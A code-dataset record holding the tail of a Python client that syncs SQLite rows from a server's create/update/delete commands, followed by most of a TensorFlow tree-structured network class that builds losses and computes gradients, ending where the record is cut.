'a': 'author', 'm': 'message', 'l': 'likes'}\n set_keys = \", \".join(\n [f\"{key_dict[k]}=:{k}\" for k in data.keys()])\n statement = f\"UPDATE {TABLE} SET {set_keys} WHERE {'uuid'} = :u\"\n args = dict(data)\n args['u'] = pkey\n cur.execute(statement, args)\n\n\ndef sqlite_delete(pkey): # Delete a row of data\n statement = f\"DELETE FROM {TABLE} WHERE {'uuid'} = :uuid\"\n cur.execute(statement, {'uuid': pkey})\n\n\ndef sqlite_print_all(): # Query data and print it in csv format\n for row in cur.execute(\"SELECT * FROM data_record\"):\n print(*row, sep=\",\")\n\n\ndef retrieve_commands_from_file(filename):\n a_file = open(filename, \"rb\")\n # commands = {'create': [], 'update': [], 'delete': []}\n commands = pickle.load(a_file)\n date = datetime.datetime.utcnow()\n updated_at = calendar.timegm(date.utctimetuple())\n return (commands, updated_at)\n\n\n# Retrieve command list from server\ndef retrieve_commands_create(latest, latest_uuid):\n while True:\n # Retrieve commands\n latest_info = latest + '/' + latest_uuid\n r = requests.get(urljoin(endpoint['create'], latest_info))\n if r.status_code == 200:\n commands = r.json()\n break\n return commands\n\n\ndef retrieve_commands_update_delete(latest):\n while True:\n # Retrieve commands\n r = requests.get(urljoin(endpoint['update-delete'], latest))\n if r.status_code == 200:\n commands = r.json()\n break\n return commands\n\n\ndef reset_data_sync():\n sqlite_delete_all()\n with open(time_filename, 'w') as f:\n f.write('1640970001\\n')\n\n\ndef main():\n # Retrieve latest update time\n with open(time_filename, 'r') as f:\n latest = f.readlines()[-1].strip()\n # Declare present time\n date = datetime.datetime.utcnow()\n updated_at = calendar.timegm(date.utctimetuple())\n\n # CREATE UPDATE-DELETE SECTION\n commands = retrieve_commands_update_delete(latest)\n\n # Operate delete command\n # start = time.time()\n for delete_command in commands['d']:\n sqlite_delete(delete_command)\n # end = time.time()\n # time_used.append(\"Delete:\\t\\t{:.5f} s\".format(end-start))\n\n del commands['d']\n\n # Operate update command\n # start = time.time()\n for update_command in commands['u']:\n sqlite_update(update_command)\n # end = time.time()\n # time_used.append(\"Update:\\t\\t{:.5f} s\".format(end-start))\n\n del commands\n\n # CREATE SECTION\n latest_uuid = \"0\"\n while True:\n commands = retrieve_commands_create(latest, latest_uuid)\n commands = commands['c']\n if len(commands) == 0:\n break\n # Operate create command\n # start = time.time()\n sqlite_multiple_insert(commands)\n # end = time.time()\n # time_used.append(\"Create:\\t\\t{:.5f} s\".format(end-start))\n latest_uuid = commands[-1][0]\n if len(commands) < 100000:\n break\n\n del commands\n\n # Commit data changes\n # start = time.time()\n conn.commit()\n # end = time.time()\n # time_used.append(\"Commit:\\t\\t{:.5f} s\".format(end-start))\n\n # Update latest update time\n with open(time_filename, 'a+') as f:\n f.write('%d\\n' % updated_at)\n\n\nsqlite_create_table()\n# reset_data_sync()\n# retrieve_commands()\nmain()\n\n# start = time.time()\nsqlite_print_all()\n# end = time.time()\n# time_used.append(\"Sqlite-csv:\\t{:.5f} s\".format(end-start))\n\n# Save time used log\n# with open('time_used.txt', 'w') as f:\n# f.writelines(\"%s\\n\" % l for l in time_used)\n\nconn.close()\n", "repo_name": "NatthanonM/DataSyncClient", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5183, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlite3.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 83, "usage_type": "attribute"}, {"api_name": "calendar.timegm", "line_number": 84, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 93, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 103, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "attribute"}, {"api_name": "calendar.timegm", "line_number": 122, "usage_type": "call"}]} +{"seq_id": "34984727196", "text": "import tensorflow as tf\nimport numpy as np\n\nfrom algorithms.accuracy_calculator import AccuracyCalculator\nfrom algorithms.mode_tracker import ModeTracker\nfrom algorithms.softmax_compresser import SoftmaxCompresser\nfrom algorithms.variable_manager import VariableManager\nfrom auxillary.constants import DatasetTypes\nfrom auxillary.dag_utilities import Dag\nfrom auxillary.db_logger import DbLogger\nfrom auxillary.general_utility_funcs import UtilityFuncs\nfrom simple_tf.global_params import GlobalConstants, GradientType, AccuracyCalcType\nfrom simple_tf.info_gain import InfoGainLoss\nfrom simple_tf.node import Node\nfrom collections import deque\nfrom simple_tf import batch_norm\n\n\nclass TreeNetwork:\n def __init__(self, node_build_funcs, grad_func, threshold_func, residue_func, summary_func, degree_list, dataset):\n self.dagObject = Dag()\n self.nodeBuildFuncs = node_build_funcs\n self.depth = len(self.nodeBuildFuncs)\n self.nodes = {}\n self.topologicalSortedNodes = []\n self.gradFunc = grad_func\n self.thresholdFunc = threshold_func\n self.residueFunc = residue_func\n self.summaryFunc = summary_func\n self.degreeList = degree_list\n self.dataTensor = tf.placeholder(GlobalConstants.DATA_TYPE,\n shape=(None, dataset.get_image_size(),\n dataset.get_image_size(),\n dataset.get_num_of_channels()),\n name=\"dataTensor\")\n self.labelTensor = tf.placeholder(tf.int64, shape=(None,), name=\"labelTensor\")\n self.oneHotLabelTensor = tf.placeholder(dtype=GlobalConstants.DATA_TYPE,\n shape=(None, dataset.get_label_count()), name=\"oneHotLabelTensor\")\n self.indicesTensor = tf.placeholder(tf.int64, shape=(None,), name=\"indicesTensor\")\n self.filteredMask = tf.placeholder(dtype=tf.bool, shape=(None,), name=\"filteredMask\")\n self.coarseLabelTensor = tf.placeholder(tf.int64, shape=(None,), name=\"coarseLabelTensor\")\n self.coarseOneHotLabelTensor = tf.placeholder(tf.int64, shape=(None,), name=\"coarseOneHotLabelTensor\")\n self.evalDict = {}\n self.mainLoss = None\n self.residueLoss = None\n self.decisionLoss = None\n self.regularizationLoss = None\n self.finalLoss = None\n self.classificationGradients = None\n self.residueGradients = None\n self.regularizationGradients = None\n self.decisionGradients = None\n self.sampleCountTensors = None\n self.isOpenTensors = None\n self.momentumStatesDict = {}\n self.newValuesDict = {}\n self.assignOpsDict = {}\n self.learningRate = None\n self.globalCounter = None\n self.weightDecayCoeff = tf.placeholder(name=\"weight_decay_coefficient\", dtype=tf.float32)\n self.decisionWeightDecayCoeff = tf.placeholder(name=\"decision_weight_decay_coefficient\", dtype=tf.float32)\n self.residueInputTensor = None\n self.useThresholding = None\n self.iterationHolder = None\n self.decisionLossCoefficient = tf.placeholder(name=\"decision_loss_coefficient\", dtype=tf.float32)\n self.decisionDropoutKeepProb = None\n self.decisionDropoutKeepProbCalculator = None\n self.classificationDropoutKeepProb = None\n self.informationGainBalancingCoefficient = None\n self.noiseCoefficient = None\n self.noiseCoefficientCalculator = None\n self.isTrain = None\n self.useMasking = None\n self.isDecisionPhase = None\n self.mainLossParamsDict = {}\n self.residueParamsDict = {}\n self.regularizationParamsDict = {}\n self.decisionParamsDict = {}\n self.initOp = None\n self.classificationPathSummaries = []\n self.decisionPathSummaries = []\n self.summaryWriter = None\n self.branchingBatchNormAssignOps = []\n self.learningRateCalculator = GlobalConstants.LEARNING_RATE_CALCULATOR\n self.decisionLossCoefficientCalculator = None\n self.isBaseline = None\n self.labelCount = dataset.get_label_count()\n self.numChannels = dataset.get_num_of_channels()\n # Algorithms\n self.modeTracker = ModeTracker(network=self)\n self.accuracyCalculator = AccuracyCalculator(network=self)\n self.variableManager = VariableManager(network=self)\n self.softmaxCompresser = None\n\n # def get_parent_index(self, node_index):\n # parent_index = int((node_index - 1) / self.treeDegree)\n # return parent_index\n\n def get_fixed_variable(self, name, node):\n complete_name = self.get_variable_name(name=name, node=node)\n cnst = tf.constant(value=self.paramsDict[\"{0}:0\".format(complete_name)], dtype=GlobalConstants.DATA_TYPE)\n return tf.Variable(cnst, name=complete_name)\n\n def get_decision_parameters(self):\n vars = self.variableManager.trainableVariables\n H_vars = [v for v in vars if \"hyperplane\" in v.name]\n for i in range(len(H_vars)):\n self.decisionParamsDict[H_vars[i]] = i\n return H_vars\n\n def is_decision_variable(self, variable):\n if \"scale\" in variable.name or \"shift\" in variable.name or \"hyperplane\" in variable.name or \\\n \"gamma\" in variable.name or \"beta\" in variable.name or \"_decision_\" in variable.name:\n return True\n else:\n return False\n\n def reset_network(self, dataset, run_id):\n self.modeTracker.reset()\n self.softmaxCompresser = SoftmaxCompresser(network=self, dataset=dataset, run_id=run_id)\n\n def build_network(self):\n # Create itself\n curr_index = 0\n is_leaf = 0 == (self.depth - 1)\n root_node = Node(index=curr_index, depth=0, is_root=True, is_leaf=is_leaf)\n threshold_name = self.get_variable_name(name=\"threshold\", node=root_node)\n root_node.probabilityThreshold = tf.placeholder(name=threshold_name, dtype=tf.float32)\n softmax_decay_name = self.get_variable_name(name=\"softmax_decay\", node=root_node)\n root_node.softmaxDecay = tf.placeholder(name=softmax_decay_name, dtype=tf.float32)\n self.dagObject.add_node(node=root_node)\n self.nodes[curr_index] = root_node\n d = deque()\n d.append(root_node)\n # Create children if not leaf\n while len(d) > 0:\n # Dequeue\n curr_node = d.popleft()\n if not curr_node.isLeaf:\n for i in range(self.degreeList[curr_node.depth]):\n new_depth = curr_node.depth + 1\n is_leaf = new_depth == (self.depth - 1)\n curr_index += 1\n child_node = Node(index=curr_index, depth=new_depth, is_root=False, is_leaf=is_leaf)\n if not child_node.isLeaf:\n threshold_name = self.get_variable_name(name=\"threshold\", node=child_node)\n child_node.probabilityThreshold = tf.placeholder(name=threshold_name, dtype=tf.float32)\n softmax_decay_name = self.get_variable_name(name=\"softmax_decay\", node=child_node)\n child_node.softmaxDecay = tf.placeholder(name=softmax_decay_name, dtype=tf.float32)\n self.nodes[curr_index] = child_node\n self.dagObject.add_edge(parent=curr_node, child=child_node)\n d.append(child_node)\n # Flags and hyperparameters\n self.useThresholding = tf.placeholder(name=\"threshold_flag\", dtype=tf.int64)\n self.iterationHolder = tf.placeholder(name=\"iteration\", dtype=tf.int64)\n self.isTrain = tf.placeholder(name=\"is_train_flag\", dtype=tf.int64)\n self.useMasking = tf.placeholder(name=\"use_masking_flag\", dtype=tf.int64)\n self.isDecisionPhase = tf.placeholder(name=\"is_decision_phase\", dtype=tf.int64)\n self.decisionDropoutKeepProb = tf.placeholder(name=\"decision_dropout_keep_prob\", dtype=tf.float32)\n self.classificationDropoutKeepProb = tf.placeholder(name=\"classification_dropout_keep_prob\", dtype=tf.float32)\n self.noiseCoefficient = tf.placeholder(name=\"noise_coefficient\", dtype=tf.float32)\n self.informationGainBalancingCoefficient = tf.placeholder(name=\"info_gain_balance_coefficient\",\n dtype=tf.float32)\n # Build symbolic networks\n self.topologicalSortedNodes = self.dagObject.get_topological_sort()\n self.isBaseline = len(self.topologicalSortedNodes) == 1\n if not GlobalConstants.USE_RANDOM_PARAMETERS:\n self.paramsDict = UtilityFuncs.load_npz(file_name=\"parameters\")\n # Set up mechanism for probability thresholding\n if not self.isBaseline:\n self.thresholdFunc(network=self)\n # Build all symbolic networks in each node\n for node in self.topologicalSortedNodes:\n self.nodeBuildFuncs[node.depth](node=node, network=self)\n # Disable some properties if we are using a baseline\n if self.isBaseline:\n GlobalConstants.USE_INFO_GAIN_DECISION = False\n GlobalConstants.USE_CONCAT_TRICK = False\n GlobalConstants.USE_PROBABILITY_THRESHOLD = False\n # Prepare tensors to evaluate\n for node in self.topologicalSortedNodes:\n # if node.isLeaf:\n # continue\n # F\n f_output = node.fOpsList[-1]\n self.evalDict[\"Node{0}_F\".format(node.index)] = f_output\n # H\n if len(node.hOpsList) > 0:\n h_output = node.hOpsList[-1]\n self.evalDict[\"Node{0}_H\".format(node.index)] = h_output\n # Activations\n for k, v in node.activationsDict.items():\n self.evalDict[\"Node{0}_activation_from_{1}\".format(node.index, k)] = v\n # Decision masks\n for k, v in node.maskTensors.items():\n self.evalDict[\"Node{0}_{1}\".format(node.index, v.name)] = v\n # Evaluation outputs\n for k, v in node.evalDict.items():\n self.evalDict[k] = v\n # Label outputs\n if node.labelTensor is not None:\n self.evalDict[\"Node{0}_label_tensor\".format(node.index)] = node.labelTensor\n # Sample indices\n self.evalDict[\"Node{0}_indices_tensor\".format(node.index)] = node.indicesTensor\n # One Hot Label outputs\n if node.oneHotLabelTensor is not None:\n self.evalDict[\"Node{0}_one_hot_label_tensor\".format(node.index)] = node.oneHotLabelTensor\n # Get the leaf counts, which are descendants of each node\n for node in self.topologicalSortedNodes:\n descendants = self.dagObject.descendants(node=node)\n descendants.append(node)\n for descendant in descendants:\n if descendant.isLeaf:\n node.leafCountUnderThisNode += 1\n # Learning rate, counter\n self.globalCounter = tf.Variable(0, dtype=GlobalConstants.DATA_TYPE, trainable=False)\n # Prepare the cost function\n # ******************** Residue loss ********************\n self.build_residue_loss()\n # Record all variables into the variable manager (For backwards compatibility)\n self.variableManager.get_all_node_variables()\n\n # Unit Test\n tf_trainable_vars = set(tf.trainable_variables())\n custom_trainable_vars = set(self.variableManager.trainable_variables())\n assert tf_trainable_vars == custom_trainable_vars\n # Unit Test\n # ******************** Residue loss ********************\n\n # ******************** Main losses ********************\n self.build_main_loss()\n # ******************** Main losses ********************\n\n # ******************** Decision losses ********************\n self.build_decision_loss()\n # ******************** Decision losses ********************\n\n # ******************** Regularization losses ********************\n self.build_regularization_loss()\n # ******************** Regularization losses ********************\n self.finalLoss = self.mainLoss + self.regularizationLoss + self.decisionLoss\n self.evalDict[\"RegularizerLoss\"] = self.regularizationLoss\n self.evalDict[\"PrimaryLoss\"] = self.mainLoss\n self.evalDict[\"ResidueLoss\"] = self.residueLoss\n self.evalDict[\"DecisionLoss\"] = self.decisionLoss\n self.evalDict[\"NetworkLoss\"] = self.finalLoss\n self.sampleCountTensors = {k: self.evalDict[k] for k in self.evalDict.keys() if \"sample_count\" in k}\n self.isOpenTensors = {k: self.evalDict[k] for k in self.evalDict.keys() if \"is_open\" in k}\n self.gradFunc(network=self)\n\n def build_main_loss(self):\n primary_losses = []\n for node in self.topologicalSortedNodes:\n primary_losses.extend(node.lossList)\n self.mainLoss = tf.add_n(primary_losses)\n\n def build_regularization_loss(self):\n vars = self.variableManager.trainable_variables()\n l2_loss_list = []\n for v in vars:\n is_decision_pipeline_variable = self.is_decision_variable(variable=v)\n # assert (not is_decision_pipeline_variable)\n loss_tensor = tf.nn.l2_loss(v)\n self.evalDict[\"l2_loss_{0}\".format(v.name)] = loss_tensor\n if \"bias\" in v.name or \"shift\" in v.name or \"scale\" in v.name:\n l2_loss_list.append(0.0 * loss_tensor)\n else:\n if is_decision_pipeline_variable:\n l2_loss_list.append(self.decisionWeightDecayCoeff * loss_tensor)\n else:\n l2_loss_list.append(self.weightDecayCoeff * loss_tensor)\n self.regularizationLoss = tf.add_n(l2_loss_list)\n\n def build_decision_loss(self):\n decision_losses = []\n for node in self.topologicalSortedNodes:\n if node.isLeaf:\n continue\n decision_losses.append(node.infoGainLoss)\n if len(decision_losses) > 0 and not self.isBaseline:\n self.decisionLoss = self.decisionLossCoefficient * tf.add_n(decision_losses)\n else:\n self.decisionLoss = tf.constant(value=0.0)\n\n def build_residue_loss(self):\n if self.isBaseline:\n self.residueLoss = tf.constant(value=0.0)\n else:\n self.residueLoss = GlobalConstants.RESIDUE_LOSS_COEFFICIENT * self.residueFunc(network=self)\n\n def calculate_accuracy(self, calculation_type, sess, dataset, dataset_type, run_id, iteration):\n if not self.modeTracker.isCompressed:\n if calculation_type == AccuracyCalcType.regular:\n accuracy, confusion = self.accuracyCalculator.calculate_accuracy(sess=sess, dataset=dataset,\n dataset_type=dataset_type,\n run_id=run_id,\n iteration=iteration)\n return accuracy, confusion\n elif calculation_type == AccuracyCalcType.route_correction:\n accuracy_corrected, marginal_corrected = \\\n self.accuracyCalculator.calculate_accuracy_with_route_correction(\n sess=sess, dataset=dataset,\n dataset_type=dataset_type)\n return accuracy_corrected, marginal_corrected\n elif calculation_type == AccuracyCalcType.with_residue_network:\n self.accuracyCalculator.calculate_accuracy_with_residue_network(sess=sess, dataset=dataset,\n dataset_type=dataset_type)\n elif calculation_type == AccuracyCalcType.multi_path:\n self.accuracyCalculator.calculate_accuracy_multipath(sess=sess, dataset=dataset,\n dataset_type=dataset_type, run_id=run_id,\n iteration=iteration)\n else:\n raise NotImplementedError()\n else:\n best_leaf_accuracy, residue_corrected_accuracy = \\\n self.accuracyCalculator.calculate_accuracy_after_compression(sess=sess, dataset=dataset,\n dataset_type=dataset_type,\n run_id=run_id, iteration=iteration)\n return best_leaf_accuracy, residue_corrected_accuracy\n\n def check_for_compression(self, run_id, epoch, iteration, dataset):\n do_compress = self.modeTracker.check_for_compression_start(dataset=dataset, epoch=epoch)\n kv_rows = [(run_id, iteration, \"Compressed Softmax\", do_compress)]\n DbLogger.write_into_table(rows=kv_rows, table=DbLogger.runKvStore, col_count=4)\n return do_compress\n\n def calculate_branch_probability_histograms(self, branch_probs):\n for k, v in branch_probs.items():\n # Interval analysis\n print(\"Node:{0}\".format(k))\n bin_size = 0.1\n for j in range(v.shape[1]):\n histogram = {}\n for i in range(v.shape[0]):\n prob = v[i, j]\n bin_id = int(prob / bin_size)\n if bin_id not in histogram:\n histogram[bin_id] = 0\n histogram[bin_id] += 1\n sorted_histogram = sorted(list(histogram.items()), key=lambda e: e[0], reverse=False)\n print(histogram)\n\n def get_probability_thresholds(self, feed_dict, iteration, update):\n for node in self.topologicalSortedNodes:\n if node.isLeaf:\n continue\n if update:\n # Probability Threshold\n node_degree = self.degreeList[node.depth]\n uniform_prob = 1.0 / float(node_degree)\n threshold = uniform_prob - node.probThresholdCalculator.value\n feed_dict[node.probabilityThreshold] = threshold\n print(\"{0} value={1}\".format(node.probThresholdCalculator.name, threshold))\n # Update the threshold calculator\n node.probThresholdCalculator.update(iteration=iteration + 1)\n else:\n feed_dict[node.probabilityThreshold] = 0.0\n\n def get_decision_weight(self, feed_dict, iteration, update):\n weight = self.decisionLossCoefficientCalculator.value\n feed_dict[self.decisionLossCoefficient] = weight\n print(\"self.decisionLossCoefficient={0}\".format(weight))\n if update:\n self.decisionLossCoefficientCalculator.update(iteration=iteration + 1)\n\n def get_softmax_decays(self, feed_dict, iteration, update):\n for node in self.topologicalSortedNodes:\n if node.isLeaf:\n continue\n # Decay for Softmax\n decay = node.softmaxDecayCalculator.value\n if update:\n feed_dict[node.softmaxDecay] = decay\n print(\"{0} value={1}\".format(node.softmaxDecayCalculator.name, decay))\n # Update the Softmax Decay\n node.softmaxDecayCalculator.update(iteration=iteration + 1)\n else:\n feed_dict[node.softmaxDecay] = GlobalConstants.SOFTMAX_TEST_TEMPERATURE\n\n def get_noise_coefficient(self, feed_dict, iteration, update):\n noise_coeff = self.noiseCoefficientCalculator.value\n feed_dict[self.noiseCoefficient] = noise_coeff\n print(\"{0} value={1}\".format(self.noiseCoefficientCalculator.name, noise_coeff))\n if update:\n self.noiseCoefficientCalculator.update(iteration=iteration + 1)\n\n def get_decision_dropout_prob(self, feed_dict, iteration, update):\n if update:\n prob = self.decisionDropoutKeepProbCalculator.value\n feed_dict[self.decisionDropoutKeepProb] = prob\n print(\"{0} value={1}\".format(self.decisionDropoutKeepProbCalculator.name, prob))\n self.decisionDropoutKeepProbCalculator.update(iteration=iteration + 1)\n else:\n feed_dict[self.decisionDropoutKeepProb] = 1.0\n\n def get_label_mappings(self, feed_dict):\n for node in self.topologicalSortedNodes:\n if not node.isLeaf:\n continue\n feed_dict[node.labelMappingTensor] = self.softmaxCompresser.labelMappings[node.index]\n\n def get_effective_sample_counts(self, sample_counts):\n effective_sample_counts = {}\n for node in self.topologicalSortedNodes:\n effective_sample_counts[self.get_variable_name(name=\"sample_count\", node=node)] = 0.0\n for node in self.topologicalSortedNodes:\n if not node.isLeaf:\n continue\n sample_count = sample_counts[self.get_variable_name(name=\"sample_count\", node=node)]\n effective_sample_counts[self.get_variable_name(name=\"sample_count\", node=node)] = sample_count\n ancestors = self.dagObject.ancestors(node=node)\n for ancestor in ancestors:\n effective_sample_counts[self.get_variable_name(name=\"sample_count\", node=ancestor)] += \\\n (0.0 + sample_count)\n return effective_sample_counts\n\n def get_main_and_regularization_grads(self, sess, samples, labels, indices, one_hot_labels, iteration):\n vars = self.variableManager.trainable_variables()\n use_threshold = int(GlobalConstants.USE_PROBABILITY_THRESHOLD)\n if GlobalConstants.USE_INFO_GAIN_DECISION:\n is_decision_phase = 0\n else:\n is_decision_phase = 1\n feed_dict = {GlobalConstants.TRAIN_DATA_TENSOR: samples,\n GlobalConstants.TRAIN_LABEL_TENSOR: labels,\n GlobalConstants.TRAIN_INDEX_TENSOR: indices,\n GlobalConstants.TRAIN_ONE_HOT_LABELS: one_hot_labels,\n self.globalCounter: iteration,\n self.weightDecayCoeff: GlobalConstants.WEIGHT_DECAY_COEFFICIENT,\n self.decisionWeightDecayCoeff: GlobalConstants.DECISION_WEIGHT_DECAY_COEFFICIENT,\n self.useThresholding: use_threshold,\n self.isDecisionPhase: is_decision_phase,\n self.isTrain: 1,\n self.useMasking: 1,\n self.classificationDropoutKeepProb: GlobalConstants.CLASSIFICATION_DROPOUT_PROB,\n self.informationGainBalancingCoefficient: GlobalConstants.INFO_GAIN_BALANCE_COEFFICIENT,\n self.iterationHolder: iteration}\n # Add probability thresholds into the feed dict\n if not self.isBaseline:\n self.get_probability_thresholds(feed_dict=feed_dict, iteration=iteration, update=True)\n self.get_softmax_decays(feed_dict=feed_dict, iteration=iteration, update=True)\n self.get_decision_dropout_prob(feed_dict=feed_dict, iteration=iteration,\n update=True)\n self.get_noise_coefficient(feed_dict=feed_dict, iteration=iteration, update=True)\n self.get_decision_weight(feed_dict=feed_dict, iteration=iteration, update=False)\n if self.modeTracker.isCompressed:\n self.get_label_mappings(feed_dict=feed_dict)\n run_ops = [self.classificationGradients,\n self.regularizationGradients,\n self.residueGradients,\n self.sampleCountTensors,\n vars,\n self.isOpenTensors]\n if iteration % GlobalConstants.SUMMARY_PERIOD == 0:\n run_ops.append(self.classificationPathSummaries)\n if GlobalConstants.USE_BATCH_NORM_BEFORE_BRANCHING and is_decision_phase:\n run_ops.extend(self.branchingBatchNormAssignOps)\n if GlobalConstants.USE_VERBOSE:\n run_ops.append(self.evalDict)\n results = sess.run(run_ops, feed_dict=feed_dict)\n # *********************For debug purposes*********************\n # cursor = 0\n # eval_results_dict = results[7]\n # residue_labels = eval_results_dict[\"residue_labels\"]\n # residue_indices = eval_results_dict[\"residue_indices\"]\n # residue_features = eval_results_dict[\"residue_features\"]\n # for node in self.topologicalSortedNodes:\n # if not node.isLeaf:\n # continue\n # node_sample_count = eval_results_dict[self.get_variable_name(name=\"sample_count\", node=node)]\n # node_label_tensor = eval_results_dict[\"Node{0}_label_tensor\".format(node.index)]\n # node_index_tensor = eval_results_dict[\"Node{0}_indices_tensor\".format(node.index)]\n # node_final_feature_tensor = eval_results_dict[self.get_variable_name(name=\"final_eval_feature\", node=node)]\n # assert np.allclose(node_label_tensor, residue_labels[cursor:cursor + int(node_sample_count)])\n # assert np.allclose(node_index_tensor, residue_indices[cursor:cursor + int(node_sample_count)])\n # assert np.allclose(node_final_feature_tensor, residue_features[cursor:cursor + int(node_sample_count)])\n # cursor += int(node_sample_count)\n # *********************For debug purposes*********************\n # Only calculate the derivatives for information gain losses\n classification_grads = results[0]\n regularization_grads = results[1]\n residue_grads = results[2]\n sample_counts = results[3]\n vars_current_values = results[4]\n is_open_indicators = results[5]\n effective_sample_counts = self.get_effective_sample_counts(sample_counts=sample_counts)\n # if iteration % GlobalConstants.SUMMARY_PERIOD == 0:\n # summary_list = results[6]\n # for summary in summary_list:\n # self.summaryWriter.add_summary(summary, iteration)\n # ******************* Calculate grads *******************\n # Main loss\n main_grads = {}\n for k, v in self.mainLossParamsDict.items():\n # print(k.name)\n node = self.variableManager.varToNodesDict[k]\n is_node_open = is_open_indicators[self.get_variable_name(name=\"is_open\", node=node)]\n if not is_node_open:\n continue\n g = classification_grads[v]\n # print(\"Param:{0} Classification Grad Norm:{1}\".format(k.name, np.linalg.norm(g)))\n if (GlobalConstants.GRADIENT_TYPE == GradientType.mixture_of_experts_unbiased) or (\n GlobalConstants.GRADIENT_TYPE == GradientType.parallel_dnns_unbiased):\n main_grads[k] = g\n elif GlobalConstants.GRADIENT_TYPE == GradientType.mixture_of_experts_biased:\n sample_count_entry_name = self.get_variable_name(name=\"sample_count\", node=node)\n if GlobalConstants.USE_EFFECTIVE_SAMPLE_COUNTS:\n sample_count = effective_sample_counts[sample_count_entry_name]\n else:\n sample_count = sample_counts[sample_count_entry_name]\n gradient_modifier = float(GlobalConstants.BATCH_SIZE) / float(sample_count)\n modified_g = gradient_modifier * g\n main_grads[k] = modified_g\n elif GlobalConstants.GRADIENT_TYPE == GradientType.parallel_dnns_biased:\n modified_g = (1.0 / node.leafCountUnderThisNode) * g\n main_grads[k] = modified_g\n # Residue Loss\n res_grads = {}\n for k, v in self.residueParamsDict.items():\n g = residue_grads[v]\n res_grads[k] = g\n # Regularization loss\n reg_grads = {}\n # if GlobalConstants.USE_ADAPTIVE_WEIGHT_DECAY:\n # for node in self.topologicalSortedNodes:\n # sample_count_entry_name = self.get_variable_name(name=\"sample_count\", node=node)\n # sample_count = sample_counts[sample_count_entry_name]\n # decay_boost_rate = GlobalConstants.BATCH_SIZE / float(sample_count)\n # node.weightDecayModifier = \\\n # GlobalConstants.ADAPTIVE_WEIGHT_DECAY_MIXING_RATE * node.weightDecayModifier + \\\n # (1.0 - GlobalConstants.ADAPTIVE_WEIGHT_DECAY_MIXING_RATE) * decay_boost_rate\n for k, v in self.regularizationParamsDict.items():\n is_residue_var = \"_residue_\" in k.name\n # coeff = 1.0\n if not is_residue_var:\n node = self.variableManager.varToNodesDict[k]\n is_node_open = is_open_indicators[self.get_variable_name(name=\"is_open\", node=node)]\n if not is_node_open:\n continue\n # if GlobalConstants.USE_ADAPTIVE_WEIGHT_DECAY and not self.is_decision_variable(variable=k):\n # coeff = node.weightDecayModifier\n r = regularization_grads[v]\n reg_grads[k] = r\n return main_grads, res_grads, reg_grads, vars_current_values, sample_counts, is_open_indicators\n\n def get_decision_grads(self, sess, samples, labels, indices, one_hot_labels, iteration):\n info_gain_dicts = {k: v for k, v in self.evalDict.items() if \"info_gain\" in k}\n feed_dict = {GlobalConstants.TRAIN_DATA_TENSOR: samples,\n GlobalConstants.TRAIN_LABEL_TENSOR: labels,\n GlobalConstants.TRAIN_INDEX_TENSOR: indices,\n GlobalConstants.TRAIN_ONE_HOT_LABELS: one_hot_labels,\n self.globalCounter: iteration,\n self.weightDecayCoeff: GlobalConstants.WEIGHT_DECAY_COEFFICIENT,\n self.decisionWeightDecayCoeff: GlobalConstants.DECISION_WEIGHT_DECAY_COEFFICIENT,\n self.useThresholding: 0,\n self.isDecisionPhase: 1,\n self.isTrain: 1,\n self.useMasking: 1,\n self.classificationDropoutKeepProb: 1.0,\n self.informationGainBalancingCoefficient: GlobalConstants.INFO_GAIN_BALANCE_COEFFICIENT,\n self.iterationHolder: iteration}\n # Add probability thresholds into the feed dict: They are disabled for decision phase, but still needed for\n # the network to operate.\n if not self.isBaseline:\n self.get_probability_thresholds(feed_dict=feed_dict, iteration=iteration, update=False)\n self.get_softmax_decays(feed_dict=feed_dict, iteration=iteration, update=False)\n self.get_decision_dropout_prob(feed_dict=feed_dict, iteration=iteration, update=True)\n self.get_noise_coefficient(feed_dict=feed_dict, iteration=iteration, update=False)\n self.get_decision_weight(feed_dict=feed_dict, iteration=iteration, update=True)\n run_ops = [self.decisionGradients, self.sampleCountTensors, self.isOpenTensors, info_gain_dicts]\n if iteration % GlobalConstants.SUMMARY_PERIOD == 0:\n run_ops.append(self.decisionPathSummaries)\n if GlobalConstants.USE_BATCH_NORM_BEFORE_BRANCHING:\n run_ops.extend(self.branchingBatchNormAssignOps)\n if GlobalConstants.USE_VERBOSE:\n run_ops.append(self.evalDict)\n results = sess.run(run_ops, feed_dict=feed_dict)\n decision_grads = results[0]\n sample_counts = results[1]\n is_open_indicators = results[2]\n info_gain_results = results[3]\n # print(info_gain_results)\n # if iteration % GlobalConstants.SUMMARY_PERIOD == 0:\n # summary_list = results[4]\n # for summary in summary_list:\n # self.summaryWriter.add_summary(summary, iteration)\n d_grads = {}\n for k, v in self.decisionParamsDict.items():\n node = self.variableManager.varToNodesDict[k]\n is_node_open = is_open_indicators[self.get_variable_name(name=\"is_open\", node=node)]\n if not is_node_open:\n continue\n d = decision_grads[v]\n # print(\"Param:{0} Decision Grad Norm:{1}\".format(k.name, np.linalg.norm(d)))\n if np.any(np.isnan(d)):\n raise Exception(\"NAN Gradient!!!\")\n d_grads[k] = d\n return d_grads, info_gain_results, sample_counts\n\n def update_params_with_momentum(self, sess, dataset, epoch, iteration):\n vars = self.variableManager.trainable_variables()\n minibatch = dataset.get_next_batch()\n samples = minibatch.samples\n labels = minibatch.labels\n indices_list = minibatch.indices\n one_hot_labels = minibatch.one_hot_labels\n samples = np.expand_dims(samples, axis=3)\n # Decision network\n decision_grads = {}\n decision_sample_counts = None\n if GlobalConstants.USE_INFO_GAIN_DECISION:\n decision_grads, info_gain_results, decision_sample_counts \\\n = self.get_decision_grads(sess=sess, samples=samples, labels=labels,\n indices=indices_list,\n one_hot_labels=one_hot_labels,\n iteration=iteration)\n # Classification network\n main_grads, res_grads, reg_grads, vars_current_values, sample_counts, 